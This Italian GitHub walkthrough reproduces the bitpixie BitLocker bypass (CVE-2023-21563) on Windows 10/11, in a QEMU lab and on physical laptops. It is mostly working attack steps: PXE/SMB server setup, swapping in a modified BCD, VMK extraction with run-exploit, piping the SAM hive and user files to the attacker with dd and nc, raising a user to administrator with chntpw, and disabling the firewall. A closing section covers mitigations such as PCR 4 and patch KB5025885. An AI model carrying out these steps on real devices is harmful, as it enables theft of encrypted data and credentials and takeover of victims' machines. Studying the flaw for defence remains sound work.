lr2006-robot/bitpixieCracking della crittografia BitLocker basato sulla vulnerabilità CVE-2023-21563
Per il blog completo clicca qui
Riproduzione in ambiente virtuale. La macchina locale (macchina attaccante) utilizza Ubuntu 22.04.5 LTS, mentre le macchine vittima sono Windows 10 21H2 19041.1 e Windows 11 21H2 22000.318, entrambe con BitLocker abilitato. QEMU viene utilizzato come gestore di macchine virtuali, gestito tramite virt-manager; qui utilizzo la macchina virtuale Windows 11 per l'operazione.
I miei file relativi alla riproduzione provengono dal repository Github di Syss; sulla loro base ho adattato le versioni degli strumenti e gestito alcune situazioni impreviste. È possibile scaricarli e usarli direttamente oppure modificarli secondo le proprie esigenze. I file immagine delle macchine virtuali provengono da UUP Dump, che offre il download di varie versioni di Windows; dopo il download, eseguendo il file cmd o sh si ottiene il file immagine ISO.
Per quanto riguarda l'installazione e l'uso di QEMU e virt-manager, non mi dilungherò qui; tuttavia, gli utenti che hanno appena scaricato il programma devono abilitare la modifica XML in virt-manager tramite "Edit -> Preferences -> General -> Enable XML editing", così da poter modificare direttamente il file di configurazione XML della macchina virtuale.
Quando si crea la macchina virtuale, selezionare "Local install media (ISO image or CDROM)" e scegliere il file immagine ISO di Windows 11 scaricato in precedenza. Assegnare le risorse appropriate (CPU, memoria, spazio su disco, ecc.) e, infine, assicurarsi di selezionare "Customize configuration before install", così da poter modificare il file di configurazione prima dell'installazione. A questo punto potrebbe esserci un problema con il riconoscimento automatico del sistema; in tal caso possiamo selezionare manualmente "Microsoft Windows 10/11".
Ora iniziamo la configurazione. Il punto più importante (perché questo non può essere modificato in seguito, mentre il resto può essere ripetutamente modificato dopo la creazione) è che, nella scheda Overview, si selezioni come Firmware "UEFI x86_64: /usr/share/OVMF/OVMF_CODE_4M.ms.fd". Se non lo si seleziona, basta eliminare la macchina virtuale e ricrearla; non è un problema.
Poi andare nella scheda "Boot Options" e assicurarsi che "SATA CDROM 1" sia spuntato, altrimenti non sarà possibile installare il sistema. Si può spostare "SATA CDROM 1" in cima alla lista per semplificare l'avvio. A questo punto si può creare direttamente la macchina; dopo aver installato il sistema, si procederà con le altre modifiche di configurazione.
Vedete "Press any key to boot from CD or DVD..."? Premete un tasto qualsiasi per entrare nella schermata di installazione e completate l'installazione seguendo le istruzioni. Se per caso finite in un'altra schermata, niente panico: selezionate "Boot Manager", poi "UEFI: QEMU DVD-ROM" per tornare alla schermata precedente e avviare premendo un tasto qualsiasi.
Procedete con l'installazione del sistema; spuntate l'opzione per non avere una chiave di prodotto e installate la versione Professional. In seguito ci saranno cose come la registrazione dell'account e altre seccature; si consiglia di avviare direttamente offline per ridurre i problemi. Se questa opzione non è disponibile, usate Shift + F10 per aprire il prompt dei comandi e digitate OOBE\BYPASSNRO per abilitare l'opzione di creazione dell'account offline.
Dopo essere entrati normalmente nel sistema, potete digitare msinfo32 nel terminale per visualizzare le informazioni di sistema (verificate se la modalità è UEFI), poi spegnete direttamente la macchina e procedete a modificare la configurazione:
<rom enabled="no"/> per abilitare l'avvio di rete. Ecco un esempio:<interface type="network">
<mac address="52:54:00:2f:53:4e"/>
<source network="default"/>
<model type="virtio"/>
<boot order="2"/>
<rom enabled="no"/>
<address type="pci" domain="0x0000" bus="0x01" slot="0x00" function="0x0"/>
</interface>
La scelta della configurazione di rete virtio è dovuta principalmente alla caratteristica di "paravirtualizzazione" dell'hardware di rete, che comunica direttamente con l'host. Inoltre, la disattivazione della ROM di avvio di rete serve a far comunicare direttamente il firmware UEFI con la scheda di rete virtio tramite il protocollo PXE integrato, evitando interferenze inutili durante l'avvio e garantendo di poter entrare correttamente nel sistema per le successive configurazioni e test.
Entrate nella macchina virtuale, installate i driver virtio tramite l'unità CD; la configurazione verrà completata automaticamente. Potete fare un semplice test per verificare che la rete funzioni. Successivamente, eseguite la crittografia BitLocker; potete creare un file flag sul desktop per la verifica successiva.
Se si esegue la riproduzione su una macchina fisica, basta collegare la macchina attaccante e la macchina vittima con un cavo di rete; non è necessario configurare virtio. Il resto della configurazione è praticamente identico. L'unica cosa da notare è che la macchina fisica può avere più interfacce di rete; è necessario selezionare l'interfaccia corretta per la configurazione.
La configurazione della macchina vittima è così completata; spegnetela direttamente. A questo punto possiamo procedere con lo sfruttamento della vulnerabilità seguendo i passaggi definiti in precedenza nel principio di sfruttamento.
Qui forniamo un'immagine di riferimento dell'intero flusso dell'attacco; potete dare prima un'occhiata generale al processo, che realizzeremo passo dopo passo in seguito:
Sulla macchina locale (macchina attaccante) devono essere installati i seguenti pacchetti software:
Su Ubuntu o Debian, è possibile installarli con il seguente comando:
sudo apt install dnsmasq libwin-hivex-perl python3-impacket
Nei file forniti dal progetto, eseguite il file build.sh per generare bitpixie-initramfs. Se volete modificare l'adattamento all'ambiente locale, potete modificare build.sh, configurare gli strumenti e i file di versione desiderati, quindi rieseguirlo per rigenerare bitpixie-initramfs.
Poi, digitate ifconfig nel terminale per trovare il gateway virtuale della macchina locale (macchina attaccante). Ecco un esempio con la mia macchina:
virbr0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.123.1 netmask 255.255.255.0 broadcast 192.168.123.255
ether 52:54:00:23:11:39 txqueuelen 1000 (Ethernet)
RX packets 46749 bytes 4384179 (4.3 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 67170 bytes 414459630 (414.4 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Utilizzate i seguenti comandi per avviare il server TFTP per il processo di avvio PXE e il server SMB per il trasferimento dello script che modifica il file BCD, inserendo i dati appena trovati; nel mio caso è virbr0.
# Start the TFTP and the DHCP server
./start-server.sh pxe <interface>
# Start the SMB server for the transfer of the BCD file
./start-server.sh smb <interface>
Il problema principale è che il comando bcdedit può essere eseguito solo come amministratore locale. Tuttavia, poiché il file BCD si trova sulla partizione EFI non crittografata del drive, esistono diversi metodi per estrarlo. Un metodo è rimuovere fisicamente il disco rigido ed estrarre il file BCD su un altro sistema. Un metodo più semplice e meno invasivo, però, è avviare le opzioni di avvio avanzate. Nella maggior parte dei sistemi basta Shift + riavvio per farlo. Questo metodo funziona anche dalla schermata di accesso. Ora si può digitare la riga di comando in "Risoluzione dei problemi -> Opzioni avanzate -> Prompt dei comandi". Durante questa procedura è molto probabile che venga visualizzata la schermata di ripristino di BitLocker; è possibile saltarla usando il pulsante "Salta questo drive".
Ora digitate prima ipconfig nel terminale per controllare la situazione della rete. Se appare un IP del tipo 10.13.37.xxx, potete saltare direttamente i passaggi successivi. Se non appare, dovete configurare manualmente la rete: prima individuate il percorso corretto, verificate quale unità è e selezionate la versione della vostra macchina virtuale:
dir D:\NetKVM\w11\amd64
dir E:\NetKVM\w11\amd64
Quindi, in base al risultato, digitate i seguenti comandi per configurare la rete:
drvload D:\viostor\w11\amd64\viostor.inf
drvload D:\NetKVM\w11\amd64\netkvm.inf
ipconfig
Una volta comparso l'indirizzo IP, si può procedere con il trasferimento SMB. Digitando i seguenti comandi, il file BCD modificato verrà spostato direttamente sulla macchina dell'attaccante, così si potrà iniziare subito l'attacco bitpixie vero e proprio:
wpeutil initializenetwork
net use S: \\10.13.37.100\smb
cd %TEMP%
copy S:\create-bcd.bat .
.\create-bcd.bat
A questo punto torniamo alla schermata e, tramite "Usa un dispositivo -> Avvio PXE", avviamo il boot loader declassato, carichiamo il BCD modificato, sblocchiamo il disco, il kernel fallisce l'avvio ed esegue pxesoftreboot. Se l'avvio PXE non viene trovato, potete uscire e controllare la configurazione della macchina virtuale, verificando che l'opzione NIC in "Boot Options" sia spuntata. Poiché controlliamo il server PXE, possiamo entrare nel sistema Debian che abbiamo preparato in precedenza.
Quindi, digitiamo root per accedere, usiamo il comando su e poi eseguiamo il nostro script sulla partizione:
run-exploit /dev/sda3
Se tutto va bene, verranno mostrati direttamente i dati VMK corrispondenti e nella directory corrente vedremo un file vmk.dat: questo è il file VMK che abbiamo estratto dalla memoria. Il contenuto del disco crittografato è montato nella directory /mnt, quindi possiamo entrare direttamente e visualizzare il file flag creato in precedenza.
A questo punto, abbiamo sfruttato con successo la vulnerabilità Bitpixie, estratto il file VMK del disco crittografato con BitLocker e acceduto al contenuto del disco crittografato.
Naturalmente, possono verificarsi alcuni problemi, ad esempio il mancato ritrovamento del file VMK. In questo caso si consiglia di riprovare, perché il VMK potrebbe non essere stato conservato correttamente in memoria o non essere stato scansionato correttamente; potrebbe anche essere dovuto a una versione non corrispondente del BCD. Un'altra situazione è quando il file VMK viene trovato ma il disco crittografato non può essere montato: ciò potrebbe dipendere da un file VMK incompleto o danneggiato. È necessario trovare l'identificatore valido 03 20 01 00; si può provare a estrarre nuovamente il file VMK oppure verificare se lo strumento utilizzato supporta la versione di BitLocker del sistema corrente (dislcker è bloccato su una versione stabile e vecchia; potete scaricare una nuova versione).
A questo punto abbiamo accesso ai file che ci servono, ma non abbiamo ancora esportato i file originali del computer. Qui possiamo trasferire i dati necessari direttamente alla macchina attaccante tramite la rete. Io ho scelto di trasferirli direttamente via rete alla macchina attaccante. Il mio consiglio è di trasferire solo i file utili; i file di sistema non sono necessari. Qui prendo come esempio il file flag sul desktop e il file SAM del sistema.
Per trasferire file di piccole dimensioni, basta aprire una porta di connessione sulla macchina attaccante:
nc -lvp 4444 > flag.txt
nc -lvp 4445 -q 1 > SAM
Sulla macchina vittima, digitate i seguenti comandi per trasferire i file alla macchina attaccante:
dd if=/mnt/Users/Dorange/Desktop/flag.txt | nc <IP> 4444
dd if=/mnt/Windows/System32/config/SAM | nc <IP> 4445
Se si tratta di trasferire una cartella, bisogna prima creare un archivio e poi trasferirlo:
tar -czvf important_files.tar.gz /mnt/Users/Dorange/Desktop/important_files
nc -lvp 4446 > important_files.tar.gz
dd if=important_files.tar.gz | nc <IP> 4446
Anche se abbiamo già ottenuto l'accesso al disco crittografato, non abbiamo ancora il controllo totale del computer della vittima. A questo punto, possiamo usare lo strumento chntpw per modificare le password degli account utente nel sistema e ottenere così i privilegi di amministratore. Naturalmente, preferisco creare un utente con privilegi limitati e poi elevarlo ad amministratore: è più stabile.
Qui elevo un utente con privilegi limitati, Dorange, ad amministratore. Per prima cosa dobbiamo usare chntpw per modificare i privilegi dell'account utente; ecco un comando di esempio:
chntpw -u Dorange /mnt/Windows/System32/config/SAM
Naturalmente si può anche accedere prima con il comando e scegliere di visualizzare quali utenti esistono:
chntpw - /mnt/Windows/System32/config/SAM
Quindi basta seguire le istruzioni per modificare i privilegi: si può modificare direttamente i privilegi oppure aggiungere l'utente al gruppo degli amministratori; in fondo la differenza è minima. Qui consiglio di aggiungere direttamente al gruppo degli amministratori, perché è più stabile. Una volta completata la modifica, si può usare il comando chntpw -i SAM per verificare i privilegi.
Attenzione: è necessario smontare la partizione BitLocker per garantire che tutte le modifiche vengano scritte su disco, prima di riavviare il sistema. Infine, accedete al sistema per verificare se la nostra modifica è riuscita: digitate net localgroup Administrators nel terminale per vedere i membri del gruppo degli amministratori e controllare se l'utente Dorange che abbiamo aggiunto in precedenza è presente.
Ora abbiamo implementato con successo sulla macchina virtuale il bypass di BitLocker basato sulla vulnerabilità CVE-2023-21563, estratto il file VMK, acceduto al contenuto del disco crittografato ed esportato i file importanti; inoltre abbiamo elevato con successo un utente con privilegi limitati a privilegi di amministratore.
La configurazione su una macchina fisica non è così agevole come su una macchina virtuale. Fondamentalmente, seguendo i passaggi precedenti, la macchina virtuale può essere usata direttamente senza troppi requisiti hardware. Con una macchina fisica, invece, è necessario controllare la configurazione hardware passo dopo passo. Nota: la maggior parte dei computer ha per impostazione predefinita la versione Home, ma sembra che solo la versione Professional supporti la funzione BitLocker, quindi potrebbe essere necessario un aggiornamento della macchina fisica.
Durante gli esperimenti del nostro team, abbiamo scoperto che con la nuova versione di Windows 25H2 l'attacco è quasi impossibile. Innanzitutto, quando si accede alla riga di comando dalle opzioni avanzate, non è possibile saltare l'inserimento della chiave di ripristino di BitLocker. Anche se si riesce a entrare, durante il soft reboot PXE è comunque necessario inserire la chiave di ripristino di BitLocker per poter usare il boot loader.
Inoltre, i requisiti hardware iniziali per la macchina fisica sono piuttosto elevati: alcuni notebook sottili e leggeri e vecchi laptop da gaming non supportano l'avvio PXE a livello hardware. Qui mostro un notebook sottile e leggero Xiaomi il cui hardware non supporta l'avvio di rete (se supportato, in genere è presente l'opzione Network Boot):
Inoltre, per i notebook ASUS, un marchio comune in Cina, abbiamo scoperto che anche con versioni di Windows relativamente basse, dopo il fallimento dell'avvio PXE il sistema si blocca durante il processo di avvio del nostro kernel (sospettiamo che l'hardware del produttore imponga alcune restrizioni).
Per prima cosa bisogna verificare se la macchina vittima supporta l'avvio UEFI: si può controllare digitando msinfo32 in Windows per visualizzare le informazioni di sistema. Se nel riepilogo di sistema si vede che la "Modalità BIOS" è "UEFI", significa che l'avvio UEFI è supportato.
La cosa più importante è verificare se la nostra macchina fisica ha già ricevuto la patch correttiva. Digitare Get-HotFix nel terminale dell'amministratore per controllare lo stato delle patch di sistema: se è già stata installata KB5025885 o una patch successiva, la vulnerabilità non può essere sfruttata. Allo stesso tempo, dobbiamo verificare se il nostro certificato è la versione vecchia (ho sentito che Microsoft ha rilasciato un nuovo certificato nel 2026, non so se sia vero).
Get-HotFix -Id KB5025885
certutil -store root | findstr "Microsoft Windows Production PCA 2011"
Per quanto riguarda la configurazione del TPM, cercate Gestione dispositivi in Windows ed entrate in "Dispositivi di sicurezza" per verificare se è presente un dispositivo TPM e se la versione è 2.0; in caso contrario, è necessario abilitare la funzione TPM nel BIOS. Successivamente, digitate manage-bde -protectors -get C: nel terminale dell'amministratore per verificare lo stato di crittografia di BitLocker. Se i PCR del TPM non sono 7 e 11, dobbiamo effettuare una regolazione manuale (sembra che i valori predefiniti attualmente in uso siano 0, 2, 4, 11).
Innanzitutto, premete "Win + R" e digitate gpedit.msc per aprire l'Editor criteri di gruppo locali. Seguite il percorso "Configurazione computer -> Modelli amministrativi -> Componenti di Windows -> Crittografia unità BitLocker -> Unità del sistema operativo", trovate l'opzione "Configurare il profilo di convalida della piattaforma TPM per le configurazioni firmware UEFI native", entrate, impostate la voce su "Abilitata" e selezionate "PCR 7 e 11" nelle opzioni, quindi confermate ed uscite.
Successivamente, tornate al terminale dell'amministratore: prima eliminate il vecchio proteggitore TPM, poi aggiungete nuovamente il proteggitore TPM; in questo modo la configurazione utilizzerà i PCR 7 e 11 impostati in precedenza. Nota: come sappiamo, i nostri file di avvio sono versioni vecchie usate per l'inganno, quindi i PCR non devono assolutamente includere 4, altrimenti l'attacco non può essere completato:
manage-bde -protectors -get C:
manage-bde -protectors -delete C: -type tpm
manage-bde -protectors -add C: -tpm
manage-bde -protectors -get C:
La macchina fisica potrebbe non avere l'avvio PXE IPv4 abilitato per impostazione predefinita, quindi dobbiamo entrare nel BIOS per abilitarlo. Potete cercare online quale scorciatoia da tastiera consente di entrare nel BIOS (varia da computer a computer, quindi non lo spiego qui); in alternativa, usate "Shift + riavvio" e poi navigate in "Risoluzione dei problemi -> Opzioni avanzate -> Impostazioni firmware UEFI" per riavviare e accedervi. Sul mio computer fisico, nella scheda Advanced del BIOS, c'è Advance\Network Stack Configuration: basta abilitare Network Stack e Ipv4 PXE Support.
Ora procediamo con la configurazione della connessione di rete fisica: è necessario collegare la macchina attaccante e la macchina vittima con un cavo di rete. Sulla macchina attaccante bisogna avviare un server DHCP per assegnare un indirizzo IP alla macchina vittima (può essere assegnato manualmente). Avviate il server DHCP in anticipo sulla macchina attaccante:
./start-server.sh smb <interface>
./start-server.sh pxe <interface>
In seguito, potete provare a fare ping all'indirizzo IP della macchina vittima per vedere se la rete funziona; se non funziona, è necessario controllare la configurazione di rete:
brctl show virbr0
Controllate se la voce interfaces è vuota; se lo è, dobbiamo aggiungere manualmente l'interfaccia di rete fisica. Prima visualizzate, poi aggiungete (dovete identificarla da soli):
ip link show
sudo brctl addif virbr0 <interface>
brctl show virbr0
Quando ricontrolliamo la voce interfaces, dovremmo vedere l'interfaccia di rete fisica che abbiamo aggiunto. A questo punto possiamo provare a fare ping all'indirizzo IP della macchina vittima; l'indirizzo IP della macchina vittima si può visualizzare digitando ipconfig sulla macchina vittima stessa. Se il ping non funziona, è necessario controllare la configurazione di rete e assicurarsi che la macchina attaccante e la macchina vittima siano sulla stessa rete.
Se la macchina vittima riesce a fare ping alla macchina attaccante ma la macchina attaccante non riesce a fare ping alla macchina vittima, è necessario controllare le impostazioni del firewall della macchina vittima e assicurarsi che il traffico proveniente dalla macchina attaccante sia consentito. Si può disattivare temporaneamente il firewall:
netsh advfirewall set allprofiles state off
Naturalmente, sulla macchina attaccante, per garantire che il traffico della sottorete 10.13.37.0/24 non venga intercettato, eseguite questi due comandi (in realtà di solito la connessione funziona anche senza configurarli):
sudo iptables -I LIBVIRT_FWI 1 -s 10.13.37.0/24 -j ACCEPT
sudo iptables -I LIBVIRT_FWO 1 -d 10.13.37.0/24 -j ACCEPT
Ma in realtà, quando si accede alla riga di comando tramite l'avvio avanzato, il passaggio della connessione di rete spesso non avviene automaticamente, proprio come nella configurazione della macchina virtuale vista in precedenza: dobbiamo configurare manualmente i driver. Naturalmente non è semplice come con la macchina virtuale. Per prima cosa dobbiamo preparare i file dei driver su una chiavetta USB, poi caricare i driver sulla macchina vittima e configurare la rete. Questo passaggio è semplice e quasi identico a quello precedente, quindi non mi dilungo. I passaggi successivi sono gli stessi di quelli della macchina virtuale: basta seguire i passaggi precedenti per ottenere il file BCD di cui abbiamo bisogno.
Naturalmente, in realtà possiamo anche estrarre direttamente il file BCD da una macchina virtuale con lo stesso sistema della macchina fisica: in questo modo non è necessario configurare la rete sulla macchina fisica. Basta estrarlo sulla macchina virtuale e poi trasferirlo alla macchina attaccante tramite SMB. Questo metodo è molto più semplice e comodo, ma comporta anche un certo rischio: la versione del BCD potrebbe non corrispondere e di conseguenza il file VMK potrebbe non essere trovato in seguito.
In seguito si entra nell'avvio PXE e le operazioni successive non differiscono. Tuttavia, a causa di problemi come il mancato supporto hardware, possono verificarsi errori di avvio che portano a crash, oppure si riesce a entrare ma non si ottiene il file VMK. Quindi, quando si esegue la riproduzione su una macchina fisica, è molto probabile che il tasso di successo sia molto basso a causa di vari problemi software/hardware. Forse questo è anche uno dei motivi per cui questa vulnerabilità, pur apparendo grave, non è stata ampiamente sfruttata e corretta.
Questo articolo mostra che l'autenticazione pre-avvio impedisce agli attaccanti non autorizzati di accedere al contenuto del disco rigido crittografato. Tuttavia, l'autenticazione pre-avvio non impedisce a un attore interno malintenzionato in possesso di un PIN BitLocker valido di ottenere l'accesso amministrativo locale al dispositivo, disabilitare l'antivirus o estrarre le credenziali memorizzate nella cache. Questo è particolarmente critico per i sistemi condivisi, perché consente all'attaccante di accedere direttamente ai dati degli altri utenti dello stesso sistema.
Una delle misure efficaci per prevenire gli attacchi di downgrade è modificare i PCR controllati dal TPM durante lo sblocco. In risposta alla vulnerabilità del boot manager CVE-2024-38058, Microsoft ha aggiunto il PCR 4 al processo di avvio misurato. Questo registro contiene l'hash del codice del boot manager e di tutti i tentativi di avvio. Attualmente, alcuni computer hanno già come valori PCR predefiniti 0, 2, 4, 11.
Il boot manager vulnerabile utilizzato per gli attacchi di downgrade è firmato da Microsoft Windows Production PCA 2011. Questo certificato ha una validità di 15 anni, il che significa che è valido fino a giugno 2026. Anche Microsoft UEFI CA 2011 (usata per firmare i boot manager di terze parti) e Microsoft Corporation KEK CA 2011 (responsabile della gestione del database e dei contenuti DBX) subiranno un destino simile. Pertanto, Microsoft ha registrato un nuovo set di certificati radice nel 2023; per firmare il boot manager di Windows verrà utilizzata la nuova Windows UEFI CA 2023. Attualmente la registrazione di questa autorità di certificazione non è stata ancora completata automaticamente, ma può essere eseguita applicando manualmente la patch KB5025885. Questa patch aggiunge la nuova CA al database, installa il boot manager firmato dalla CA 2023 e revoca la CA 2011 aggiungendola al database DBX.
Se vi è stato utile, lasciate una stella al progetto Github!!!
Dichiarazione di esclusione di responsabilità: tutti i miei articoli sono condivisioni tecniche, registrazioni effettuate a scopo difensivo; tutte le operazioni sono state eseguite in un ambiente sperimentale. Non utilizzatele per altri scopi; in caso contrario, ve ne assumete la piena responsabilità.